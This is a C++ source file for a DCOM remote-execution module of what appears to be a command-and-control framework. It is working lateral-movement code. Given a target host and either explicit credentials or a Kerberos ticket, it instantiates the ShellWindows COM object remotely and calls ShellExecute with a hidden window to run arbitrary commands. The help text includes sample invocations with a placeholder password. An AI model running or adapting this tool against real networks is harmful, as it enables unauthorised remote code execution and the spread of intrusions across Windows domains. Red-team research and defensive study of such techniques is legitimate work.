Files
maxDcb-C2Core/modules/DcomExec/DcomExec.cpp
T
2026-04-29 18:27:58 +02:00

864 lines
27 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#include "DcomExec.hpp"
#include "Common.hpp"
#include <sstream>
#ifdef _WIN32
#include <windows.h>
#include <cwchar>
#include <atlbase.h>
#include <comdef.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
using ATL::CComPtr;
#endif
using namespace std;
constexpr std::string_view moduleNameDcom = "dcomExec";
constexpr unsigned long long moduleHashDcom = djb2(moduleNameDcom);
#ifdef _WIN32
extern "C" __declspec(dllexport) DcomExec* DcomExecConstructor()
{
return new DcomExec();
}
#else
extern "C" __attribute__((visibility("default"))) DcomExec* DcomExecConstructor()
{
return new DcomExec();
}
#endif
DcomExec::DcomExec()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleNameDcom), moduleHashDcom)
#else
: ModuleCmd("", moduleHashDcom)
#endif
{
}
DcomExec::~DcomExec() = default;
// DCOM/RPC connectivity (TCP 135 + dynamic RPC high ports)
std::string DcomExec::getInfo()
{
std::ostringstream oss;
#ifdef BUILD_TEAMSERVER
oss << "DCOM Execution Module:\n";
oss << "Trigger remote COM objects to execute commands using ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39}." << '\n';
oss << "Options:" << '\n';
oss << " -h <host> Remote hostname or IP." << '\n';
oss << " -c <command> Command to execute." << '\n';
oss << " -a <arguments> Arguments for the command." << '\n';
oss << " -w <working dir> Working directory." << '\n';
oss << " -k <spn> SPN to request for Kerberos (e.g. HOST/fqdn)." << '\n';
oss << " -u <username> Username for explicit credentials." << '\n';
oss << " -p <password> Password for explicit credentials." << '\n';
oss << " -n No cred, for local use." << '\n';
oss << "Example:" << '\n';
oss << " dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\\\user -p Passw0rd -c cmd.exe -a \"/c whoami\"" << '\n';
oss << " dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"\n";
#endif
return oss.str();
}
// packParameters() — append new fields (spn, username, password, noPassword flag)
std::string DcomExec::packParameters(const Parameters& params) const
{
std::string packed;
auto append = [&packed](const std::string& value)
{
packed.append(value);
packed.push_back('\0');
};
append(params.hostname);
append(params.progId);
append(params.command);
append(params.arguments);
append(params.workingDir);
// new fields
append(params.spn);
append(params.username);
append(params.password);
// store noPassword as "1" or "0"
append(params.noPassword ? "1" : "0");
return packed;
}
// unpackParameters() — read back the added fields
DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const
{
Parameters params;
std::vector<std::string> parts;
size_t start = 0;
while (start < data.size())
{
size_t end = data.find('\0', start);
if (end == std::string::npos)
{
break;
}
parts.emplace_back(data.substr(start, end - start));
start = end + 1;
}
// we now expect at least 9 parts:
// hostname, progId, command, arguments, workingDir, spn, username, password, noPassword
if (parts.size() < 9)
{
return params;
}
params.hostname = parts[0];
params.progId = parts[1];
params.command = parts[2];
params.arguments = parts[3];
params.workingDir = parts[4];
// new fields
params.spn = parts[5];
params.username = parts[6];
params.password = parts[7];
params.noPassword = (parts[8] == "1");
return params;
}
int DcomExec::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
std::vector<std::string> args = regroupStrings(splitedCmd);
Parameters params;
if (args.size() < 2)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
params.noPassword=false;
for (size_t i = 1; i < args.size(); ++i)
{
const std::string& current = args[i];
if (current == "-h" && i + 1 < args.size())
{
params.hostname = args[++i];
}
else if (current == "-c" && i + 1 < args.size())
{
params.command = args[++i];
}
else if (current == "-a" && i + 1 < args.size())
{
params.arguments = args[++i];
}
else if (current == "-w" && i + 1 < args.size())
{
params.workingDir = args[++i];
}
else if (current == "-k" && i + 1 < args.size())
{
params.spn = args[++i];
}
else if (current == "-u" && i + 1 < args.size())
{
params.username = args[++i];
}
else if (current == "-p" && i + 1 < args.size())
{
params.password = args[++i];
}
else if (current == "-n")
{
// no cred use
params.noPassword = true;
}
// fallback: positional args (hostname, command, arguments)
else if (!current.empty() && current[0] != '-')
{
if (params.hostname.empty())
{
params.hostname = current;
}
else if (params.command.empty())
{
params.command = current;
}
else if (params.arguments.empty())
{
params.arguments = current;
}
}
}
// Basic validation
if (params.hostname.empty() || params.command.empty())
{
c2Message.set_returnvalue("Missing hostname or command.\n" + getInfo());
return -1;
}
// Credential validation rules:
// - If username provided:
// - If noPassword == false and password empty => error (we expect -p)
// - If noPassword == true => ok (we will not send password; client likely wants to use ticket or blank password)
// - If password provided without username => error
if (!params.username.empty())
{
if (!params.noPassword && params.password.empty())
{
c2Message.set_returnvalue("Username provided but no password (-p) and -n not set.\n" + getInfo());
return -1;
}
}
else
{
// username empty
if (!params.password.empty())
{
c2Message.set_returnvalue("Password supplied (-p) but no username (-u).\n" + getInfo());
return -1;
}
}
// store instruction + packed params
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(packParameters(params));
#endif
return 0;
}
int DcomExec::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string cmd = c2Message.cmd();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
Parameters params = unpackParameters(c2Message.cmd());
std::string result;
int error = 0;
#ifdef _WIN32
error = executeRemote(params, result);
#else
result = "Oly supported on Windows.\n";
#endif
if(error)
c2RetMessage.set_errorCode(error);
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(c2Message.cmd());
c2RetMessage.set_returnvalue(result);
return 0;
}
#define ERROR_SUCCESS 0
#define ERROR_COINIT_FAILED 1
#define ERROR_CLSIDFROMSTRING_FAILED 2
#define ERROR_COCREATEINSTANCE_FAILED 3
#define ERROR_GETIDS_ITEM_FAILED 4
#define ERROR_INVOKE_ITEM_FAILED 5
#define ERROR_GETIDS_DOCUMENT_FAILED 6
#define ERROR_INVOKE_DOCUMENT_FAILED 7
#define ERROR_GETIDS_APPLICATION_FAILED 8
#define ERROR_INVOKE_APPLICATION_FAILED 9
#define ERROR_GETIDS_SHELLEXECUTE_FAILED 10
#define ERROR_INVOKE_SHELLEXECUTE_FAILED 11
#define ERROR_AUTHIDENTITY_ALLOC_FAILED 12
#define ERROR_SET_PROXY_BLANKET_FAILED 13
int DcomExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
int errorCode = c2RetMessage.errorCode();
if(errorCode > 0)
{
// Handle specific error codes and provide detailed messages
switch (errorCode)
{
case ERROR_COINIT_FAILED:
errorMsg = "CoInitializeEx failed: " + c2RetMessage.returnvalue();
break;
case ERROR_CLSIDFROMSTRING_FAILED:
errorMsg = "CLSIDFromString failed: " + c2RetMessage.returnvalue();
break;
case ERROR_COCREATEINSTANCE_FAILED:
errorMsg = "CoCreateInstanceEx failed: " + c2RetMessage.returnvalue();
break;
case ERROR_GETIDS_ITEM_FAILED:
errorMsg = "Failed to get 'Item' ID: " + c2RetMessage.returnvalue();
break;
case ERROR_INVOKE_ITEM_FAILED:
errorMsg = "Invoke 'Item' method failed: " + c2RetMessage.returnvalue();
break;
case ERROR_GETIDS_DOCUMENT_FAILED:
errorMsg = "Failed to get 'Document' ID: " + c2RetMessage.returnvalue();
break;
case ERROR_INVOKE_DOCUMENT_FAILED:
errorMsg = "Invoke 'Document' method failed: " + c2RetMessage.returnvalue();
break;
case ERROR_GETIDS_APPLICATION_FAILED:
errorMsg = "Failed to get 'Application' ID: " + c2RetMessage.returnvalue();
break;
case ERROR_INVOKE_APPLICATION_FAILED:
errorMsg = "Invoke 'Application' method failed: " + c2RetMessage.returnvalue();
break;
case ERROR_GETIDS_SHELLEXECUTE_FAILED:
errorMsg = "Failed to get 'ShellExecute' ID: " + c2RetMessage.returnvalue();
break;
case ERROR_INVOKE_SHELLEXECUTE_FAILED:
errorMsg = "Invoke 'ShellExecute' method failed: " + c2RetMessage.returnvalue();
break;
case ERROR_AUTHIDENTITY_ALLOC_FAILED:
errorMsg = "Authentication identity allocation failed: " + c2RetMessage.returnvalue();
break;
case ERROR_SET_PROXY_BLANKET_FAILED:
errorMsg = "CoSetProxyBlanket failed: " + c2RetMessage.returnvalue();
break;
default:
// For any other error codes
errorMsg = "Unknown error occurred: " + c2RetMessage.returnvalue();
break;
}
}
#endif
return 0;
}
#ifdef _WIN32
namespace
{
std::wstring toWide(const std::string& value)
{
if (value.empty())
{
return std::wstring();
}
int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), nullptr, 0);
std::wstring wide(sizeNeeded, L'\0');
MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast<int>(value.size()), wide.data(), sizeNeeded);
return wide;
}
std::string formatHResult(HRESULT hr)
{
_com_error err(hr);
std::ostringstream oss;
oss << "0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage();
return oss.str();
}
static COAUTHIDENTITY* MakeAuthIdentityW(const std::wstring& user, const std::wstring& domain, const std::wstring& pass)
{
COAUTHIDENTITY* p = (COAUTHIDENTITY*)CoTaskMemAlloc(sizeof(COAUTHIDENTITY));
if (!p) return nullptr;
ZeroMemory(p, sizeof(*p));
// NOTE: CoTaskMemAlloc used so it can be freed with CoTaskMemFree
p->User = (USHORT*)CoTaskMemAlloc((user.size()+1) * sizeof(wchar_t));
p->Domain = (USHORT*)CoTaskMemAlloc((domain.size()+1) * sizeof(wchar_t));
p->Password = (USHORT*)CoTaskMemAlloc((pass.size()+1) * sizeof(wchar_t));
if (!p->User || !p->Domain || !p->Password) {
if (p->User) CoTaskMemFree(p->User);
if (p->Domain) CoTaskMemFree(p->Domain);
if (p->Password) CoTaskMemFree(p->Password);
CoTaskMemFree(p);
return nullptr;
}
wcscpy_s((wchar_t*)p->User, user.size()+1, user.c_str());
wcscpy_s((wchar_t*)p->Domain, domain.size()+1, domain.c_str());
wcscpy_s((wchar_t*)p->Password, pass.size()+1, pass.c_str());
p->UserLength = (ULONG)user.size();
p->DomainLength = (ULONG)domain.size();
p->PasswordLength = (ULONG)pass.size();
p->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
return p;
}
void FreeAuthIdentity(COAUTHIDENTITY* p)
{
if (!p) return;
if (p->User) CoTaskMemFree(p->User);
if (p->Domain) CoTaskMemFree(p->Domain);
if (p->Password) CoTaskMemFree(p->Password);
CoTaskMemFree(p);
}
}
// +-------------------------------------------------------------+
// | CLSID_ShellWindows ({9BA05972-F6A8-11CF-A442-00A0C90A8F39}) |
// | → IDispatch interface (returned by CoCreateInstanceEx) |
// +-------------------------------------------------------------+
// │
// ▼
// .Item(index = 0)
// │
// ▼
// +----------------+----------------+
// | IDispatch for Shell Window |
// | (represents a single Explorer |
// | or IE window instance) |
// +---------------------------------+
// │
// ▼
// .Document property
// │
// ▼
// +----------------+----------------+
// | IDispatch for Document object |
// | (represents the loaded content |
// | or folder view) |
// +---------------------------------+
// │
// ▼
// .Application property
// │
// ▼
// +----------------+----------------+
// | IDispatch for Application |
// | (represents the top-level |
// | shell application instance, |
// | exposes Shell automation API) |
// +---------------------------------+
// │
// ▼
// .ShellExecute(file, args, dir, op, show)
// │
// ▼
// Executes the remote command on the target
// https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
// TODO https://github.com/xforcered/ForsHops/blob/main/ForsHops.cpp ?
int DcomExec::executeRemote(const Parameters& params, std::string& result) const
{
DWORD authnSvc = RPC_C_AUTHN_WINNT;
const DWORD authzSvc = RPC_C_AUTHZ_NONE;
const DWORD authnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY;
const DWORD impLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
DWORD capabilities = EOAC_NONE;
std::wstring spn = std::wstring(params.spn.begin(), params.spn.end());
std::wstring hostnameWide = toWide(params.hostname);
std::wstring domainW;
std::wstring userW;
std::wstring passW;
bool usernameProvided = !params.username.empty();
bool passwordProvided = !params.password.empty();
bool useExplicitCreds = usernameProvided && passwordProvided;
COAUTHIDENTITY* authIdentity = nullptr;
COAUTHINFO authInfo = {};
bool authInfoConfigured = false;
// use user name password
// - local account
// - domain accounts
if (useExplicitCreds)
{
userW = std::wstring(params.username.begin(), params.username.end());
passW = std::wstring(params.password.begin(), params.password.end());
// Support DOMAIN\\User
size_t slashPos = userW.find(L'\\');
if (slashPos != std::wstring::npos)
{
domainW = userW.substr(0, slashPos);
userW = userW.substr(slashPos + 1);
}
else
{
domainW.clear();
}
// Detect local account usage (DOMAIN == '.' or empty or same as hostname)
bool isLocalAccount = false;
if (domainW.empty() || domainW == L".")
{
isLocalAccount = true;
}
else if (!hostnameWide.empty() && _wcsicmp(domainW.c_str(), hostnameWide.c_str()) == 0)
{
isLocalAccount = true;
}
if (isLocalAccount)
{
// Use machine name when authenticating with a local account
if (!hostnameWide.empty())
{
domainW = hostnameWide;
}
authnSvc = RPC_C_AUTHN_WINNT;
}
else
{
// Domain credentials prefer Kerberos when an SPN is supplied, fallback to Negotiate otherwise
authnSvc = spn.empty() ? RPC_C_AUTHN_GSS_NEGOTIATE : RPC_C_AUTHN_GSS_KERBEROS;
capabilities = spn.empty() ? EOAC_NONE : RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
}
authIdentity = MakeAuthIdentityW(userW, domainW, passW);
if (!authIdentity)
{
result = "Failed to allocate authentication identity.";
return ERROR_AUTHIDENTITY_ALLOC_FAILED;
}
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo.dwAuthzSvc = authzSvc;
authInfo.pwszServerPrincName = NULL;
authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT;
authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
authInfo.pAuthIdentityData = authIdentity;
authInfo.dwCapabilities = capabilities;
authInfoConfigured = true;
}
// Don't use credentials
// - kerberos ticket from process memory = !spn.empty()
// - local call ?
else
{
// No explicit credentials provided rely on the caller's token
if (!spn.empty())
{
authnSvc = RPC_C_AUTHN_GSS_KERBEROS;
capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
authInfo.dwAuthnSvc = authnSvc;
authInfo.dwAuthzSvc = authzSvc;
authInfo.pwszServerPrincName = const_cast<LPWSTR>(spn.c_str());
authInfo.dwAuthnLevel = authnLevel;
authInfo.dwImpersonationLevel = impLevel;
authInfo.pAuthIdentityData = nullptr;
authInfo.dwCapabilities = capabilities;
authInfoConfigured = true;
}
else
{
authnSvc = RPC_C_AUTHN_WINNT;
capabilities = EOAC_NONE;
}
}
HRESULT hr;
bool needUninit = false;
result.clear();
// Initialize COM
hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
if (SUCCEEDED(hr))
{
needUninit = true;
}
else if (hr != RPC_E_CHANGED_MODE)
{
result = formatHResult(hr);
return ERROR_COINIT_FAILED;
}
// Optional (recommended): set process-wide defaults before doing remote calls
// Note: call this once (and before CoCreateInstanceEx ideally)
CoInitializeSecurity(
nullptr, // pSecDesc
-1, // cAuthSvc
nullptr, // asAuthSvc
nullptr, // pReserved1
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL
nullptr, // pAuthList (use default)
EOAC_NONE, // dwCapabilities
nullptr // pReserved
);
// Convert CLSID
CLSID clsid;
// CLSID_ShellWindows
std::wstring clsidStr = L"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}";
hr = CLSIDFromString((LPOLESTR)clsidStr.c_str(), &clsid);
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_CLSIDFROMSTRING_FAILED;
}
// Server info
COSERVERINFO serverInfo = {};
serverInfo.pwszName = hostnameWide.empty() ? nullptr : const_cast<LPWSTR>(hostnameWide.c_str());
if (authInfoConfigured)
{
serverInfo.pAuthInfo = &authInfo;
}
MULTI_QI mqi = {};
mqi.pIID = &IID_IDispatch;
mqi.pItf = nullptr;
mqi.hr = 0;
// Create remote COM object
hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER,
serverInfo.pwszName ? &serverInfo : nullptr, 1, &mqi);
if (FAILED(hr) || FAILED(mqi.hr))
{
result = formatHResult(FAILED(hr) ? hr : mqi.hr);
if (authIdentity) FreeAuthIdentity(authIdentity);
if (needUninit) CoUninitialize();
return ERROR_COCREATEINSTANCE_FAILED;
}
CComPtr<IDispatch> dispatch;
dispatch.Attach(static_cast<IDispatch*>(mqi.pItf));
LPWSTR proxySpn = nullptr;
if (authInfoConfigured && authInfo.pwszServerPrincName)
{
proxySpn = authInfo.pwszServerPrincName;
}
hr = CoSetProxyBlanket(
dispatch,
authnSvc,
authzSvc,
proxySpn,
authnLevel,
impLevel,
authIdentity,
capabilities
);
if (FAILED(hr))
{
result = formatHResult(hr);
if (authIdentity) FreeAuthIdentity(authIdentity);
if (needUninit) CoUninitialize();
return ERROR_SET_PROXY_BLANKET_FAILED;
}
if (authIdentity)
{
FreeAuthIdentity(authIdentity);
authIdentity = nullptr;
}
// Get "Item"
DISPID dispid;
OLECHAR* methodName = const_cast<OLECHAR*>(L"Item");
hr = dispatch->GetIDsOfNames(IID_NULL, &methodName, 1, LOCALE_USER_DEFAULT, &dispid);
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_GETIDS_ITEM_FAILED;
}
int itemIndex = 0;
VARIANT idx; VariantInit(&idx);
idx.vt = VT_I4; idx.lVal = itemIndex;
DISPPARAMS dpItem = { &idx, nullptr, 1, 0 };
VARIANT vWindow; VariantInit(&vWindow);
hr = dispatch->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
&dpItem, &vWindow, nullptr, nullptr);
VariantClear(&idx);
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_INVOKE_ITEM_FAILED;
}
IDispatch* windowDisp = vWindow.pdispVal;
if(windowDisp==nullptr)
{
if (needUninit) CoUninitialize();
return ERROR_INVOKE_ITEM_FAILED;
}
// Get "Document"
DISPID dispidDocument;
OLECHAR* nameDocument = const_cast<OLECHAR*>(L"Document");
hr = windowDisp->GetIDsOfNames(IID_NULL, &nameDocument, 1, LOCALE_USER_DEFAULT, &dispidDocument);
if (FAILED(hr))
{
result = formatHResult(hr);
windowDisp->Release();
if (needUninit) CoUninitialize();
return ERROR_GETIDS_DOCUMENT_FAILED;
}
VARIANT vDoc; VariantInit(&vDoc);
DISPPARAMS dpNoArgs = { nullptr, nullptr, 0, 0 };
hr = windowDisp->Invoke(dispidDocument, IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_PROPERTYGET, &dpNoArgs, &vDoc, nullptr, nullptr);
windowDisp->Release();
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_INVOKE_DOCUMENT_FAILED;
}
IDispatch* docDisp = vDoc.pdispVal;
// Get "Application"
DISPID dispidApplication;
OLECHAR* nameApplication = const_cast<OLECHAR*>(L"Application");
hr = docDisp->GetIDsOfNames(IID_NULL, &nameApplication, 1, LOCALE_USER_DEFAULT, &dispidApplication);
if (FAILED(hr))
{
result = formatHResult(hr);
docDisp->Release();
if (needUninit) CoUninitialize();
return ERROR_GETIDS_APPLICATION_FAILED;
}
VARIANT vApp; VariantInit(&vApp);
hr = docDisp->Invoke(dispidApplication, IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_PROPERTYGET, &dpNoArgs, &vApp, nullptr, nullptr);
docDisp->Release();
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_INVOKE_APPLICATION_FAILED;
}
IDispatch* appDisp = vApp.pdispVal;
// Get "ShellExecute"
DISPID dispidShellExecute;
OLECHAR* nameShellExecute = const_cast<OLECHAR*>(L"ShellExecute");
hr = appDisp->GetIDsOfNames(IID_NULL, &nameShellExecute, 1, LOCALE_USER_DEFAULT, &dispidShellExecute);
if (FAILED(hr))
{
result = formatHResult(hr);
appDisp->Release();
if (needUninit) CoUninitialize();
return ERROR_GETIDS_SHELLEXECUTE_FAILED;
}
// Prepare ShellExecute args
VARIANT args[5];
for (int i = 0; i < 5; ++i) VariantInit(&args[i]);
args[0].vt = VT_I4; args[0].lVal = SW_HIDE;
args[1].vt = VT_BSTR; args[1].bstrVal = SysAllocString(L"open");
args[2].vt = VT_BSTR; args[2].bstrVal = SysAllocString(toWide(params.workingDir).c_str());
args[3].vt = VT_BSTR; args[3].bstrVal = SysAllocString(toWide(params.arguments).c_str());
args[4].vt = VT_BSTR; args[4].bstrVal = SysAllocString(toWide(params.command).c_str());
DISPPARAMS dp = { args, nullptr, 5, 0 };
VARIANT vResult; VariantInit(&vResult);
EXCEPINFO exInfo = {};
UINT argErr = (UINT)-1;
hr = appDisp->Invoke(dispidShellExecute, IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_METHOD, &dp, &vResult, &exInfo, &argErr);
for (int i = 0; i < 5; ++i) VariantClear(&args[i]);
VariantClear(&vResult);
appDisp->Release();
if (FAILED(hr))
{
result = formatHResult(hr);
if (needUninit) CoUninitialize();
return ERROR_INVOKE_SHELLEXECUTE_FAILED;
}
if (needUninit)
CoUninitialize();
result = "Success";
return ERROR_SUCCESS;
}
#endif
//
// CLSID from progID
//
// CLSID clsid;
// std::wstring progIdWide = toWide(params.progId);
// hr = CLSIDFromProgID(progIdWide.c_str(), &clsid);
// if (FAILED(hr))
// {
// if (needUninit)
// {
// CoUninitialize();
// }
// return "CLSIDFromProgID failed: " + formatHResult(hr) + "\n";
// }
//
// Enum
//
// CComPtr<ITypeInfo> pTypeInfo;
// hr = dispatch->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pTypeInfo);
// if (SUCCEEDED(hr) && pTypeInfo) {
// TYPEATTR* pAttr = nullptr;
// hr = pTypeInfo->GetTypeAttr(&pAttr);
// if (SUCCEEDED(hr) && pAttr) {
// for (UINT i = 0; i < pAttr->cFuncs; ++i) {
// FUNCDESC* pFuncDesc = nullptr;
// if (SUCCEEDED(pTypeInfo->GetFuncDesc(i, &pFuncDesc))) {
// UINT cNames = 0;
// // first call GetNames to learn the name(s) for this memid
// BSTR* names = nullptr;
// // GetNames will allocate the BSTRs into caller supplied array.
// // We don't know how many names, but GetNames returns the count.
// // Here we allocate a safe array of size 16 for names:
// names = (BSTR*)CoTaskMemAlloc(sizeof(BSTR) * 16);
// if (names) {
// hr = pTypeInfo->GetNames(pFuncDesc->memid, names, 16, &cNames);
// if (SUCCEEDED(hr)) {
// for (UINT n = 0; n < cNames; ++n) {
// wprintf(L"Name: %s\n", names[n]);
// SysFreeString(names[n]);
// }
// }
// CoTaskMemFree(names);
// }
// pTypeInfo->ReleaseFuncDesc(pFuncDesc);
// }
// }
// pTypeInfo->ReleaseTypeAttr(pAttr);
// }
// }